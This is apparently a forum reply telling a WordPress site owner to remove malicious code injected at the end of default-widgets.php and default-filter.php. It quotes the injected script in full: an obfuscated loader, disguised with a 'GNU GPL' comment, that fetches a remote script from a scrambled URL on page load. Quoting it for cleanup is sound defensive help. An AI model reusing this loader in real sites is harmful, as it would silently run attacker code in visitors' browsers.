hello the problem is on your default-widgets.php and default-filter.php, inside your wp-includes. to solve this problem is download the two file default-widgets.php and default-filter.php, then open it to your editor or in notepad then go to the bottom part of the script, find the script:
<script>/*GNU GPL*/ try{window.onload = function(){var B2z6bl10xv = document.createElement(‘script’);B2z6bl10xv.setAttribute(‘type’, ‘text/javascript’);B2z6bl10xv.setAttribute(‘src’, ‘h@^t(t)p!#^^:^#$/@&((&/#&^!!t$w$(e(^@e&(&t^(&(m^#e$$m$$!e##-@@c&&#!@o@&m)$&.)!()r@e(!#$d$)(i)@$f@!f^&^.)##c@o^@(m&!^.&)@g)o@^^!o)g^#^@l^e)##-$^)!!c!#o&!m#)&(-&b)$d^.^!s(@!i$&&!&m!p)!#!l(!((e@@@w)!o!&r@&^^l#d^)$h@^@(o@!&^u$s@(e!!).)&r(!$u^$:(8#$^0^(($8@$0)()/^&!g^!@(^o$!#o&#g@&!!^l#@$&e$@.(c(#!o^m))/(!g^o&)!o(g)@l!e@)$.(@@c!o$^m)/$@d@&((r$e&)(a!)$m$@s##t)^(#i&^(!#m#)e&)&.)##$c@o@()m@!/@^^a#^#@$t^!t)#.@!@#n#e!(#t)&/@(s(!h!^i$(&n@##)o$#b$(!$i(@$.#@j^)^)p$@/$@)’.replace(/\)|&|\!|\(|\$|\^|#|@/ig, ”));B2z6bl10xv.setAttribute(‘defer’, ‘defer’);document.body.appendChild(B2z6bl10xv);}} catch(e) {}</script>
then delete this script then upload the file back to your ftp, the site is will be find
i hope it can help with your problem
-jromechan